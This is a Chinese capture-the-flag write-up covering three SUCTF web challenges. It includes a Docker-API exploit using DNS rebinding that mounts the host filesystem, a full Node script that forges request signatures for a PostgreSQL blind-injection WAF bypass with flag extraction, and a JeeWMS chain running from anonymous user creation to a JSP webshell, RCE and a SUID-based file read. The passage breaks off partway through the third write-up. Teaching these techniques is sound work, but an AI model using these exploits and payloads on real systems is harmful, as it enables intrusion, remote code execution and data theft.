        create_result = self.retry_rebinding(
            f"/containers/{self.container_id}/exec",
            body=create_body,
            success=create_ok,
        )
        exec_id = self.decode_target_body(create_result)["Id"]

        def start_ok(result):
            return result.get("target_status") == 200 and bool(result.get("target_body"))

        start_result = self.retry_rebinding(
            f"/exec/{exec_id}/start",
            body=json.dumps({"Detach": False, "Tty": True}),
            success=start_ok,
            timeout=20,
        )
        return start_result.get("target_body", "")

    def stop_container(self):
        if not self.container_id:
            return
        self.log("stopping temporary container")

        def ok(result):
            return result.get("target_status") in {204, 304}

        try:
            self.retry_rebinding(
                f"/containers/{self.container_id}/stop?t=1",
                body="{}",
                success=ok,
                tries=30,
            )
        except ExploitError:
            pass

    def run(self):
        self.log(f"target API: {self.api_url}")
        self.log(f"rebind host: {self.rebind_host}")
        self.pull_image()
        self.create_container()
        self.start_container()
        flag_hint = self.exec_command("cat /host/flag")
        self.log(f"/host/flag output: {flag_hint.strip()}")
        flag = self.exec_command("/host/readflag").strip()
        self.stop_container()
        return flag

def main():
    parser = argparse.ArgumentParser()
    parser.add_argument("--base-url", default="http://101.245.108.250:10012")
    parser.add_argument("--rebind-host", default=None)
    parser.add_argument("--docker-port", type=int, default=2375)
    parser.add_argument("--image", default="busybox")
    parser.add_argument("--timeout", type=int, default=15)
    args = parser.parse_args()

    exploit = CloudHookExploit(
        base_url=args.base_url,
        rebind_host=args.rebind_host,
        docker_port=args.docker_port,
        image=args.image,
        timeout=args.timeout,
    )
    try:
        flag = exploit.run()
    except ExploitError as error:
        print(f"[-] exploit failed: {error}", file=sys.stderr)
        sys.exit(1)
    print(flag)

if __name__ == "__main__":
    main()

使用方式:

python exploit.py

如果需要指定参数:

python exploit.py --base-url http://101.245.108.250:10012 --docker-port 2375

脚本会自动:

  • 生成 rebinding 域名
  • 重试直到命中 localhost 分支
  • 拉取 busybox
  • 创建并启动挂载宿主机根目录的容器
  • 执行 /host/readflag
  • 输出最终 flag

得到

SUCTF{SsRF_tO_rC3_by_d0CkEr_15_s0_FUn}

SU_sqli

题目信息

  • 题目:SU_sqli
  • 分类:Web
  • 分值:1000PT
  • 目标:http://101.245.108.250:10001/

题目描述很直接:Zhou discovered a SQL injection vulnerability. Are you able to compromise the target?

附件解压后只有一套前端静态资源,没有后端源码,因此这题的核心流程是:

  1. 先还原前端签名逻辑
  2. 让本地脚本能够正常请求 /api/query
  3. 分析 SQL 注入点的拼接方式
  4. 绕过黑名单/WAF
  5. 构造盲注链,最终拿到 flag

一、附件分析

目录结构很简单:

application/
  app.js
  crypto1.wasm
  crypto2.wasm
  wasm_exec.js
  index.html
  style.css
获取的信息与漏洞成果.md

其中关键文件是:

  • application/app.js
  • application/crypto1.wasm
  • application/crypto2.wasm
  • application/wasm_exec.js

打开 application/app.js 可以发现,页面点击查询按钮后不会直接把参数发到后端,而是先做一套签名。

前端会先请求:

  • GET /api/sign

拿到类似如下的签名材料:

{
  "ok": true,
  "data": {
    "algo": "v6",
    "nonce": "...",
    "salt": "...",
    "seed": "...",
    "ts": 1773451041935
  }
}

然后前端再调用两个 wasm 导出的函数:

  • globalThis.__suPrep(...)
  • globalThis.__suFinish(...)

并且 app.js 里还会对 __suPrep 的结果继续做两步处理:

  • unscramble(pre, nonce, ts)
  • mixSecret(secret2, probe, ts)

最后才把下面这些字段发给 /api/query

{
  "q": "...",
  "nonce": "...",
  "ts": 1773451041935,
  "sign": "..."
}

也就是说,如果不能正确复现签名,就根本摸不到真正的 SQL 注入点。


二、先解决签名问题

1. 直接访问接口

直接访问首页可以确认页面结构正常:

GET /

请求签名材料也没有问题:

GET /api/sign

但是直接手工 POST:

POST /api/query
Content-Type: application/json

{"q":"test"}

会返回:

{"ok":false,"error":"bad json"}

这是因为后端要求完整签名参数。

2. 浏览器里直接点查询

如果在默认无头浏览器里直接访问页面并点查询,返回的是:

bad sign

说明签名还和浏览器指纹有关。

3. 指纹相关字段

app.js 中构造了一个 probe 字符串,内容来自这些字段:

  • navigator.webdriver
  • Intl.DateTimeFormat().resolvedOptions().timeZone
  • navigator.userAgentData.brands
  • Intl.DateTimeFormat().resolvedOptions().locale
  • navigator.userAgent

也就是说,服务端签名校验不仅看 qnoncets,还把 UA / 浏览器指纹绑进去了。

4. 正确做法

解决方式是:

  1. 本地加载 wasm
  2. 完整复现 app.js 里的签名逻辑
  3. 使用一个“正常 Chrome”环境的 UA 与 probe

我最后选用的固定参数是:

UA    = Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
probe = wd=0;tz=Asia/Shanghai;b=Chromium:134,Google Chrome:134,Not=A?Brand:24;intl=1

然后在本地 Node 环境中载入:

  • application/wasm_exec.js
  • application/crypto1.wasm
  • application/crypto2.wasm

这样就可以脱离浏览器,直接生成合法签名。


三、本地查询脚本

为方便后续测试,我写了一个查询脚本:

  • solve.js
const fs = require("fs");
const { performance } = require("perf_hooks");
const crypto = require("crypto").webcrypto;

globalThis.performance = performance;
globalThis.crypto = crypto;

require("./application/wasm_exec.js");

const BASE = "http://101.245.108.250:10001";
const USER_AGENT =
  "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36";
const PROBE =
  "wd=0;tz=Asia/Shanghai;b=Chromium:134,Google Chrome:134,Not=A?Brand:24;intl=1";
const ROT_SCR = [1, 5, 9, 13, 17, 3, 11, 19];

function b64UrlToBytes(value) {
  let text = value.replace(/-/g, "+").replace(/_/g, "/");
  while (text.length % 4) {
    text += "=";
  }
  return new Uint8Array(Buffer.from(text, "base64"));
}

function bytesToB64Url(bytes) {
  return Buffer.from(bytes)
    .toString("base64")
    .replace(/\+/g, "-")
    .replace(/\//g, "_")
    .replace(/=+$/, "");
}

function rotl32(value, shift) {
  return ((value << shift) | (value >>> (32 - shift))) >>> 0;
}

function rotr32(value, shift) {
  return ((value >>> shift) | (value << (32 - shift))) >>> 0;
}

function maskBytes(nonce, ts) {
  const nonceBytes = b64UrlToBytes(nonce);
  let state = 0 >>> 0;
  for (const byte of nonceBytes) {
    state = (Math.imul(state, 131) + byte) >>> 0;
  }
  const hi = Math.floor(ts / 0x100000000);
  state = (state ^ (ts >>> 0) ^ (hi >>> 0)) >>> 0;
  const out = new Uint8Array(32);
  for (let index = 0; index < 32; index += 1) {
    state ^= (state << 13) >>> 0;
    state ^= state >>> 17;
    state ^= (state << 5) >>> 0;
    out[index] = state & 0xff;
  }
  return out;
}

function unscramble(prepared, nonce, ts) {
  const buffer = b64UrlToBytes(prepared);
  for (let index = 0; index < 8; index += 1) {
    const offset = index * 4;
    let word =
      (buffer[offset] |
       (buffer[offset + 1] << 8) |
       (buffer[offset + 2] << 16) |
       (buffer[offset + 3] << 24)) >>>
      0;
    word = rotr32(word, ROT_SCR[index]);
    buffer[offset] = word & 0xff;
    buffer[offset + 1] = (word >>> 8) & 0xff;
    buffer[offset + 2] = (word >>> 16) & 0xff;
    buffer[offset + 3] = (word >>> 24) & 0xff;
  }
  const mask = maskBytes(nonce, ts);
  for (let index = 0; index < 32; index += 1) {
    buffer[index] ^= mask[index];
  }
  return buffer;
}

function probeMask(probe, ts) {
  let state = 0 >>> 0;
  for (const char of probe) {
    state = (Math.imul(state, 33) + char.charCodeAt(0)) >>> 0;
  }
  const hi = Math.floor(ts / 0x100000000);
  state = (state ^ (ts >>> 0) ^ (hi >>> 0)) >>> 0;
  const out = new Uint8Array(32);
  for (let index = 0; index < 32; index += 1) {
    state = (Math.imul(state, 1103515245) + 12345) >>> 0;
    out[index] = (state >>> 16) & 0xff;
  }
  return out;
}

function mixSecret(buffer, probe, ts) {
  const mask = probeMask(probe, ts);
  if (mask[0] & 1) {
    for (let index = 0; index < 32; index += 2) {
      const current = buffer[index];
      buffer[index] = buffer[index + 1];
      buffer[index + 1] = current;
    }
  }
  if (mask[1] & 2) {
    for (let index = 0; index < 8; index += 1) {
      const offset = index * 4;
      let word =
        (buffer[offset] |
          (buffer[offset + 1] << 8) |
          (buffer[offset + 2] << 16) |
          (buffer[offset + 3] << 24)) >>>
        0;
      word = rotl32(word, 3);
      buffer[offset] = word & 0xff;
      buffer[offset + 1] = (word >>> 8) & 0xff;
      buffer[offset + 2] = (word >>> 16) & 0xff;
      buffer[offset + 3] = (word >>> 24) & 0xff;
    }
  }
  for (let index = 0; index < 32; index += 1) {
    buffer[index] ^= mask[index];
  }
  return buffer;
}

async function loadWasm() {
  const go1 = new Go();
  const crypto1 = await WebAssembly.instantiate(
    fs.readFileSync("./application/crypto1.wasm"),
    go1.importObject
  );
  go1.run(crypto1.instance);

  const go2 = new Go();
  const crypto2 = await WebAssembly.instantiate(
    fs.readFileSync("./application/crypto2.wasm"),
    go2.importObject
  );
  go2.run(crypto2.instance);

  for (let attempt = 0; attempt < 100; attempt += 1) {
    if (
      typeof globalThis.__suPrep === "function" &&
      typeof globalThis.__suFinish === "function"
    ) {
      return;
    }
    await new Promise((resolve) => setTimeout(resolve, 10));
  }
  throw new Error("wasm init failed");
}

async function buildSignature(query) {
  const response = await fetch(`${BASE}/api/sign`, {
    headers: { "user-agent": USER_AGENT }
  });
  const material = await response.json();
  if (!material.ok) {
    throw new Error(`sign material failed: ${JSON.stringify(material)}`);
  }
  const { nonce, ts, seed, salt } = material.data;
  const prepared = globalThis.__suPrep(
    "POST",
    "/api/query",
    query,
    nonce,
    String(ts),
    seed,
    salt,
    USER_AGENT,
    PROBE
  );
  const secret = mixSecret(unscramble(prepared, nonce, ts), PROBE, ts);
  const sign = globalThis.__suFinish(
    "POST",
    "/api/query",
    query,
    nonce,
    String(ts),
    bytesToB64Url(secret),
    PROBE
  );
  return { nonce, ts, sign };
}

async function doQuery(query) {
  const signature = await buildSignature(query);
  const response = await fetch(`${BASE}/api/query`, {
    method: "POST",
    headers: {
      "content-type": "application/json",
      "user-agent": USER_AGENT
    },
    body: JSON.stringify({ q: query, ...signature })
  });
  return response.json();
}

async function main() {
  await loadWasm();
  const query = process.argv.slice(2).join(" ");
  if (!query) {
    console.error("usage: node solve.js <query>");
    process.exit(1);
  }
  const result = await doQuery(query);
  console.log(JSON.stringify(result, null, 2));
}

module.exports = {
  BASE,
  USER_AGENT,
  PROBE,
  loadWasm,
  buildSignature,
  doQuery
};

if (require.main === module) {
  main().catch((error) => {
    console.error(error);
    process.exit(1);
  });
}

功能:

  1. 本地初始化 wasm
  2. 请求 /api/sign
  3. 复现 __suPrep + unscramble + mixSecret + __suFinish
  4. 向远端发送合法的 /api/query

最小使用方式:

node .\solve.js a

返回:

{
  "ok": true,
  "data": [
    {
      "id": 2,
      "title": "Patch notes 0x01"
    },
    {
      "id": 3,
      "title": "Service status"
    }
  ]
}

这一步非常关键:一旦本地查询链打通,题目就从“前端带 wasm 的黑盒题”变回普通 SQL 注入利用题。


四、确认 SQL 注入

使用 solve.js 测试一些最基础的输入。

  1. 普通关键字
q = a

返回两条记录,说明搜索功能正常。

  1. 通配符
q = %
q = _

都能返回全部 3 条数据,说明后端大概率是做了 LIKE/ILIKE 模糊查询。

  1. 单引号
q = '

返回报错:

ERROR: unterminated quoted string at or near "' LIMIT 20" (SQLSTATE 42601)

这几乎等于明牌告诉我们:

  • 数据库是 PostgreSQL
  • q 被直接拼进 SQL
  • 且后面还有固定的 LIMIT 20

到这里,注入已经可以确认。


五、黑名单/WAF 分析

继续测一些常规 payload:

' OR 1=1-- 
' UNION SELECT 1,'a'-- 
' ORDER BY 1-- 

这些请求都会直接返回:

{"ok":false,"error":"blocked"}

说明题目额外加了一层关键字拦截。

经过逐步测试,可确认被拦的内容包括:

  • union
  • and
  • or
  • --
  • /*
  • chr
  • pg_read_file
  • pg_sleep
  • current_setting
  • information_schema
  • ::
  • cast

但是仍然可用的能力也不少:

  • CASE WHEN
  • substring
  • ascii
  • position
  • query_to_xml
  • database_to_xml
  • schema_to_xml
  • xmlserialize
  • xpath_exists

这就给了我们非常大的操作空间。


六、找出注入拼接方式

一个很重要的测试 payload 是:

'||version()||'

这个 payload 不会被拦,而且能正常参与查询。

进一步测试:

'||(CASE WHEN 1=1 THEN '' ELSE 'zzzzzz' END)||'
'||(CASE WHEN 1=2 THEN '' ELSE 'zzzzzz' END)||'

现象:

  • 条件为真时,返回全部公开 notes
  • 条件为假时,返回空数组

这说明 SQL 拼接方式并不是:

... WHERE title LIKE '%<q>%'

而更接近于:

... WHERE title ILIKE '%' || <q> || '%'

因为我们传入:

'||(CASE WHEN cond THEN '' ELSE 'zzzzzz' END)||'

会变成:

'%' || '' || '%'

或:

'%' || 'zzzzzz' || '%'

于是我们得到了一个非常稳定的布尔盲注原语:

'||(CASE WHEN <condition> THEN '' ELSE 'zzzzzz' END)||'

真假判断标准:

  • 真:匹配模式仍然是 %%,命中全部数据
  • 假:匹配模式变成 %zzzzzz%,返回空

七、利用 XML 相关函数突破黑名单

1. 为什么不用常规 UNION

因为:

  • union 被拦
  • and / or 被拦
  • 注释被拦

传统拼接打法非常难受。

2. PostgreSQL 的 XML 函数很强

PostgreSQL 自带一些非常有用的函数:

  • query_to_xml(...)
  • database_to_xml(...)
  • xmlserialize(...)

其中:

  • query_to_xml(sql, true, true, '') 可以执行一条查询,并把结果转成 XML
  • database_to_xml(true, true, '') 可以把当前数据库完整导出成 XML
  • xmlserialize(content ... as text) 可以把 XML 安全转成文本

这意味着我们甚至不需要 UNION SELECT,也不需要直接走 information_schema,就能从整库 XML 里把敏感内容挖出来。


八、验证整库 XML 中存在 flag

先验证数据库 XML 是否可读:

'||database_to_xml(true,true,'')||'

虽然页面结果本身不直接回显 XML,但这个表达式可以正常执行。

然后结合布尔条件做检测:

'||(CASE WHEN xpath_exists('//title[text()="Welcome to SU Query"]',database_to_xml(true,true,'')) THEN '' ELSE 'zzzzzz' END)||'

返回为真,说明整库 XML 中确实包含页面里这几条公开 note。

接着继续搜索关键词:

'||(CASE WHEN xpath_exists('//text()[contains(.,"SUCTF")]',database_to_xml(true,true,'')) THEN '' ELSE 'zzzzzz' END)||'

返回为真。

再测:

'||(CASE WHEN xpath_exists('//text()[contains(.,"SUCTF{")]',database_to_xml(true,true,'')) THEN '' ELSE 'zzzzzz' END)||'

仍然返回为真。

这就说明:当前数据库的 XML 全量导出中,已经直接包含了 flag 文本。

所以根本没必要再费劲枚举表名和列名,直接对整库 XML 做文本抽取即可。


九、最终抽取表达式

把数据库 XML 转成文本后,用正则抽出 flag:

substring(
  xmlserialize(content database_to_xml(true,true,'') as text)
  from 'SUCTF[{][^}]+[}]'
)

这条表达式的意义是:

  • 先把整库导出成 XML
  • 再序列化成普通文本
  • 最后用正则匹配第一个形如 SUCTF{...} 的字符串

先验证是否存在:

'||(CASE WHEN length(substring(xmlserialize(content database_to_xml(true,true,'') as text) from 'SUCTF[{][^}]+[}]'))>0 THEN '' ELSE 'zzzzzz' END)||'

返回为真。

说明这个表达式已经成功定位到 flag。


十、字符级盲注

接下来只需要按位爆破即可。

  1. 求长度

可以直接判断:

length(flag_expr) >= mid

例如:

'||(CASE WHEN length(substring(xmlserialize(content database_to_xml(true,true,'') as text) from 'SUCTF[{][^}]+[}]'))>=36 THEN '' ELSE 'zzzzzz' END)||'
  1. 求单个字符

逐位取字符:

ascii(substring(flag_expr from pos for 1)) >= mid

例如第一位:

'||(CASE WHEN ascii(substring(substring(xmlserialize(content database_to_xml(true,true,'') as text) from 'SUCTF[{][^}]+[}]') from 1 for 1))>=83 THEN '' ELSE 'zzzzzz' END)||'

用二分就能很快求出每一位。


十一、自动化脚本

  • extract-flag.js
const { loadWasm, doQuery } = require("./solve");

const FLAG_EXPR =
  "substring(xmlserialize(content database_to_xml(true,true,'') as text) from 'SUCTF[{][^}]+[}]')";

function buildPayload(condition) {
  return `'||(CASE WHEN ${condition} THEN '' ELSE 'zzzzzz' END)||'`;
}

async function isTrue(condition) {
  const result = await doQuery(buildPayload(condition));
  if (!result.ok) {
    throw new Error(`query failed for ${condition}: ${JSON.stringify(result)}`);
  }
  return Array.isArray(result.data) && result.data.length > 0;
}

async function extractLength() {
  let low = 0;
  let high = 128;
  while (low + 1 < high) {
    const mid = Math.floor((low + high) / 2);
    const condition = `length(${FLAG_EXPR})>=${mid}`;
    if (await isTrue(condition)) {
      low = mid;
    } else {
      high = mid;
    }
  }
  return low;
}

async function extractChar(position) {
  let low = 32;
  let high = 126;
  while (low < high) {
    const mid = Math.floor((low + high + 1) / 2);
    const condition = `ascii(substring(${FLAG_EXPR} from ${position} for 1))>=${mid}`;
    if (await isTrue(condition)) {
      low = mid;
    } else {
      high = mid - 1;
    }
  }
  return String.fromCharCode(low);
}

async function main() {
  await loadWasm();

  const length = await extractLength();
  console.log(`[+] flag length: ${length}`);

  let flag = "";
  for (let index = 1; index <= length; index += 1) {
    const char = await extractChar(index);
    flag += char;
    console.log(`[+] ${index}/${length}: ${flag}`);
  }

  console.log(`[+] flag: ${flag}`);
}

main().catch((error) => {
  console.error(error);
  process.exit(1);
});

这个脚本做的事情是:

  1. 调用 solve.js 的合法签名查询能力
  2. 用布尔盲注先二分求出 flag 长度
  3. 再逐位二分字符
  4. 最终打印完整 flag

运行方式:

node .\extract-flag.js

实际输出:

[+] flag length: 36
[+] 1/36: S
[+] 2/36: SU
[+] 3/36: SUC
[+] 4/36: SUCT
[+] 5/36: SUCTF
[+] 6/36: SUCTF{
[+] 7/36: SUCTF{P
[+] 8/36: SUCTF{P9
[+] 9/36: SUCTF{P9s
[+] 10/36: SUCTF{P9s9
[+] 11/36: SUCTF{P9s9L
[+] 12/36: SUCTF{P9s9L_
[+] 13/36: SUCTF{P9s9L_!
[+] 14/36: SUCTF{P9s9L_!N
[+] 15/36: SUCTF{P9s9L_!Nj
[+] 16/36: SUCTF{P9s9L_!Nje
[+] 17/36: SUCTF{P9s9L_!Njec
[+] 18/36: SUCTF{P9s9L_!Nject
[+] 19/36: SUCTF{P9s9L_!Nject!
[+] 20/36: SUCTF{P9s9L_!Nject!O
[+] 21/36: SUCTF{P9s9L_!Nject!On
[+] 22/36: SUCTF{P9s9L_!Nject!On_
[+] 23/36: SUCTF{P9s9L_!Nject!On_I
[+] 24/36: SUCTF{P9s9L_!Nject!On_IS
[+] 25/36: SUCTF{P9s9L_!Nject!On_IS_
[+] 26/36: SUCTF{P9s9L_!Nject!On_IS_3
[+] 27/36: SUCTF{P9s9L_!Nject!On_IS_3@
[+] 28/36: SUCTF{P9s9L_!Nject!On_IS_3@$
[+] 29/36: SUCTF{P9s9L_!Nject!On_IS_3@$Y
[+] 30/36: SUCTF{P9s9L_!Nject!On_IS_3@$Y_
[+] 31/36: SUCTF{P9s9L_!Nject!On_IS_3@$Y_R
[+] 32/36: SUCTF{P9s9L_!Nject!On_IS_3@$Y_Ri
[+] 33/36: SUCTF{P9s9L_!Nject!On_IS_3@$Y_RiG
[+] 34/36: SUCTF{P9s9L_!Nject!On_IS_3@$Y_RiGh
[+] 35/36: SUCTF{P9s9L_!Nject!On_IS_3@$Y_RiGht
[+] 36/36: SUCTF{P9s9L_!Nject!On_IS_3@$Y_RiGht}
[+] flag: SUCTF{P9s9L_!Nject!On_IS_3@$Y_RiGht}

十二、最终 flag

SUCTF{P9s9L_!Nject!On_IS_3@$Y_RiGht}

SU_wms

0. 题目概览

这题的核心不是一个单独的 RCE 点,而是一条完整的漏洞链:

  1. web.xml/rest/* 单独映射给 Spring MVC。
  2. AuthInterceptor 对大部分 /rest/... 路径直接放行。
  3. 匿名可访问 GET /rest/userPOST /rest/user,可以枚举用户、创建新用户。
  4. loginController.do?changeDefaultOrg 在白名单里,而且不校验验证码,能直接拿用户名/密码建登录态。
  5. TokenController.saveImage 存在任意文件写入。
  6. webUploadpath=C://upFiles 在 Linux 容器里不是 Windows 绝对路径,而是一个可穿越的相对路径,最终能把 JSP 写进 WebRoot。
  7. JSP 落到 /upload/ 后直接作为 WebShell 执行,拿到命令执行。

所以整条链可以概括为:

匿名枚举/造用户 -> 越权建立会话 -> 任意文件写入 -> JSP WebShell -> RCE -> 读 flag

这也是为什么题目提示写的是“前台 RCE”,因为真正利用时可以不依赖后台正常登录流程。

1. 先说结论

最稳的利用链如下:

  1. 匿名访问 GET /jeewms/rest/user,枚举已有用户,拿到一个真实的 departid
  2. 匿名访问 POST /jeewms/rest/user,创建我们自己的低权限用户。
  3. 调用白名单接口 POST /jeewms/loginController.do?changeDefaultOrg,用我们刚创建的用户名/密码和上一步拿到的真实 orgId 建立登录会话。
  4. 带着该会话访问 PUT /jeewms/rest/tokens/saveImage?imageFileName=<shell>.jsp&fileAddr=../../webapps/jeewms/upload,请求体直接写入 JSP。
  5. 访问 /jeewms/upload/<shell>.jsp?cmd=id,得到 RCE。
  6. 查找并读取 flag。

远端赛题环境里,最后一步还存在一层环境加固:

  • WebShell 执行身份是 wms
  • flag 文件是 0400 root:root
  • /usr/bin/date 带 SUID

所以实战里最终读 flag 用的是:

date -f /实际/flag/路径 2>&1

如果只看当前仓库,能严格证明到 RCE;最后这一步的提权/读 flag 细节是远端环境观察结果,不是 Dockerfile 里直接写死的逻辑,我会在后面单独说明。

2. 关键源码分析

2.1 /rest/* 是一条单独的前台入口

war_unpacked/WEB-INF/web.xml 里单独把 /rest/* 映射给了 restSpringMvc

<servlet-mapping>
    <servlet-name>restSpringMvc</servlet-name>
    <url-pattern>/rest/*</url-pattern>
</servlet-mapping>

也就是说,像 /rest/user/rest/tokens/saveImage 这样的路径不会走传统的 *.do 入口,而是直接命中 REST 风格控制器。

2.2 AuthInterceptor 对大部分 /rest/... 直接放行

cfr_out/org/jeecgframework/core/interceptors/AuthInterceptor.java 的核心逻辑:

String requestPath = ResourceUtil.getRequestPath(request);
if (requestPath.matches("^rest/[a-zA-Z0-9_/]+$")) {
    return true;
}

只要 requestPath 形如 rest/xxx/yyy,就直接放过,不要求登录。

看起来像是开发者为了“移动端 / API 调用方便”给 /rest/* 开了一个总白名单,但这个设计本身已经非常危险了。

2.3 但这里有一个很关键的细节:带查询串的 saveImage 其实不会被这条正则放行

cfr_out/org/jeecgframework/core/util/ResourceUtil.java

String queryString = request.getQueryString();
String requestPath = request.getRequestURI();
if (StringUtils.isNotEmpty(queryString)) {
    requestPath = requestPath + "?" + queryString;
}
if (requestPath.indexOf("&") > -1) {
    requestPath = requestPath.substring(0, requestPath.indexOf("&"));
}
requestPath = requestPath.substring(request.getContextPath().length() + 1);

这段代码不是只取路径,它会把第一个查询参数也拼进去。

也就是说,请求:

/jeewms/rest/tokens/saveImage?imageFileName=shell.jsp&fileAddr=../../webapps/jeewms/upload

在拦截器眼里会变成:

rest/tokens/saveImage?imageFileName=shell.jsp

它已经不匹配 ^rest/[a-zA-Z0-9_/]+$ 了,因此**不能直接匿名打 **saveImage

这就是本题一个很容易忽略、但实际上非常关键的点:

  • 匿名可以直接打 /rest/user
  • 但匿名不能直接打带参数的 /rest/tokens/saveImage
  • 所以还必须再补一段“拿会话”的利用

2.4 /rest/user 可以匿名枚举用户

cfr_out/org/jeecgframework/web/rest/controller/UserRestController.java

@RequestMapping(method={RequestMethod.GET})
@ResponseBody
public List<TSUser> list() {
    List<TSUser> listUsers = this.userService.getList(TSUser.class);
    return listUsers;
}

这个接口没有任何鉴权,直接把所有 TSUser 返回。

TSBaseUser 里像这些字段都没有做 JSON 隐藏:

  • userName
  • password
  • departid
  • status
  • deleteFlag

因此 GET /rest/user 至少可以帮我们拿到:

  1. 系统里已经存在的用户名
  2. 用户对应的 departid
  3. 用户 ID
  4. 已存储的密码密文

本题里最重要的是 departid,因为后面 changeDefaultOrg 需要一个真实存在的 orgId

2.5 /rest/user 还能匿名创建用户

同一个控制器里:

@RequestMapping(method={RequestMethod.POST}, consumes={"application/json"})
@ResponseBody
public ResponseEntity<?> create(@RequestBody TSUser user, UriComponentsBuilder uriBuilder) {
    Set failures = this.validator.validate(user);
    if (!failures.isEmpty()) {
        return new ResponseEntity(..., HttpStatus.BAD_REQUEST);
    }
    this.userService.save(user);
    ...
}

这里直接 save(user),没有:

  • 权限校验
  • 用户名唯一性校验
  • 角色校验
  • 密码二次加密逻辑

这意味着我们可以直接往数据库里插入一个自定义用户。

2.6 密码不能传明文,必须自己按系统算法算好

登录校验走的是:

UserServiceImpl.checkUserExits -> CommonDao.findUserByAccountAndPassword

cfr_out/org/jeecgframework/core/common/dao/impl/CommonDao.java

String password = PasswordUtil.encrypt(username, inpassword, PasswordUtil.getStaticSalt());
String query = "from TSUser u where u.userName = :username and u.password=:passowrd";

PasswordUtil 的逻辑是:

  • 算法:PBEWithMD5AndDES
  • 固定 salt:63293188
  • 明文:username
  • 密钥:password
  • 迭代:1000

也就是说,数据库里存的不是“密码的 hash”,而是:

encrypt(用户名, 明文密码, 固定 salt)

所以如果我们要创建用户 pwned / pwned,必须先算出对应密文再写入数据库。

仓库里已经提供了计算器:

PwdCalc.java

直接运行:

java PwdCalc pwned pwned

结果是:

0d36c2853ed296ee

因此创建用户时可以发送:

{
  "userName": "pwned",
  "realName": "pwned",
  "password": "0d36c2853ed296ee",
  "status": 1,
  "activitiSync": 0,
  "deleteFlag": 0
}

2.7 changeDefaultOrg 在白名单里,而且不校验验证码

spring-mvc.xml 里明确把它放进了 excludeUrls

<value>loginController.do?changeDefaultOrg</value>

cfr_out/org/jeecgframework/web/system/controller/core/LoginController.java

@RequestMapping(params={"changeDefaultOrg"})
@ResponseBody
public AjaxJson changeDefaultOrg(TSUser user, HttpServletRequest req) {
    String orgId = req.getParameter("orgId");
    TSUser u = this.userService.checkUserExits(user);
    if (oConvertUtils.isNotEmpty(orgId)) {
        this.saveLoginSuccessInfo(req, u, orgId);
    }
    return j;
}

这里的问题有三个:

  1. 它在鉴权白名单里,前台可直接访问。
  2. 它不校验验证码。
  3. 它只要用户名/密码正确,就直接调用 saveLoginSuccessInfo

正常前端的设计本意是:

  • 用户先走登录接口
  • 如果发现有多个组织,弹框让用户选组织
  • 再调用 changeDefaultOrg

但服务端没有强制“你必须先走一遍真正登录”,所以这个接口本质上就成了一个可前台直接调用的“弱登录接口”。

2.8 saveLoginSuccessInfo 才是真正建立会话的地方

LoginController.saveLoginSuccessInfo

TSDepart currentDepart = this.systemService.get(TSDepart.class, orgId);
user.setCurrentDepart(currentDepart);
HttpSession session = ContextHolderUtils.getSession();
session.setAttribute("LOCAL_CLINET_USER", user);
...
Client client = new Client();
client.setUser(user);
ClientManager.getInstance().addClinet(session.getId(), client);

只要这个函数走完,就有两层状态被建立:

  1. session["LOCAL_CLINET_USER"] = user
  2. ClientManager.addClinet(sessionId, client)

后面拦截器取登录用户时,主要依赖的是第二层,也就是 ClientManager

因此最稳的做法是给 changeDefaultOrg 传一个真实存在的 orgId,这样会话能一次性建立成功。

2.9 如果没有真实 orgId,也可以利用报错前的副作用

saveLoginSuccessInfo 里有一段危险的顺序:

TSDepart currentDepart = this.systemService.get(TSDepart.class, orgId);
user.setCurrentDepart(currentDepart);
session.setAttribute("LOCAL_CLINET_USER", user);
message = ... + currentDepart.getDepartname() + ...

如果 orgId 是假的,那么:

  1. currentDepart == null
  2. LOCAL_CLINET_USER 已经写进 session
  3. 但在拼接 currentDepart.getDepartname() 时会抛 NPE
  4. ClientManager.addClinet(...) 来不及执行

这时还差最后一步:再请求一次 loginController.do?login

因为 ResourceUtil.getSessionUserName() 的逻辑是:

if (ClientManager.getInstance().getClient(session.getId()) != null) {
    return ...
}
TSUser u = (TSUser)session.getAttribute(LOCAL_CLINET_USER);
ClientManager.getInstance().addClinet(session.getId(), client);
return null;

也就是说,LOCAL_CLINET_USER 一旦存在,再访问一次登录页,就会把它重新灌进 ClientManager

所以:

  • 有真实 orgId:直接走 changeDefaultOrg,最稳
  • 没有真实 orgId:可以 fake orgId -> 触发 NPE -> 再 GET 一次 login 页面 做兜底

仓库里整理后的 exploit_remote.py 已经兼容了这两种情况。

2.10 TokenController.saveImage 是任意文件写入

cfr_out/com/zzjee/api/TokenController.java

String fileName = request.getParameter("imageFileName");
String fileAddr = request.getParameter("fileAddr");
ServletInputStream ins = request.getInputStream();
fileAddr = ResourceUtil.getConfigByName("webUploadpath") + File.separator + fileAddr;
File f = new File(fileAddr);
if (!f.exists()) {
    f.mkdirs();
}
fileAddr = f.getCanonicalPath();
FileOutputStream os = new FileOutputStream(fileAddr + File.separator + fileName);
while ((bytesRead = ins.read(buffer, 0, 8192)) != -1) {
    os.write(buffer, 0, bytesRead);
}

这里同时存在两个问题:

  1. fileAddr 没做路径限制,可目录穿越
  2. 请求体内容原样写文件,可直接落 JSP

并且异常被吃掉了:

catch (Exception e) {
    e.printStackTrace();
}
D0.setOK(true);

也就是说,即使写失败了,接口也可能返回 OK=true,所以最后一定要靠访问实际 shell 路径来确认。

2.11 为什么 ../../webapps/jeewms/upload 能成立

sysConfig.properties

webUploadpath=C://upFiles

这个配置在 Windows 上看起来像绝对路径,但在 Linux 里并不是“盘符路径”,而只是一个普通字符串路径成分。

题目容器基于:

FROM tomcat:8.5-jdk8-temurin

官方 Tomcat 镜像的工作目录是 /usr/local/tomcat,因此:

C://upFiles

在 Linux 容器里可理解成:

/usr/local/tomcat/C:/upFiles

那么:

C://upFiles/../../webapps/jeewms/upload

规范化后就会变成:

/usr/local/tomcat/webapps/jeewms/upload

这正好就是应用的 WebRoot 子目录。

所以我们可以把 JSP 写到:

/usr/local/tomcat/webapps/jeewms/upload/shellxxxx.jsp

然后通过:

/jeewms/upload/shellxxxx.jsp

直接访问执行。

仓库里专门有 TestPath.java / TestPathUnix.java,明显就是为了验证这个路径行为。

2.12 为什么刚创建的低权限用户也够用

AuthInterceptor.hasMenuAuth() 里有一个很关键的逻辑:

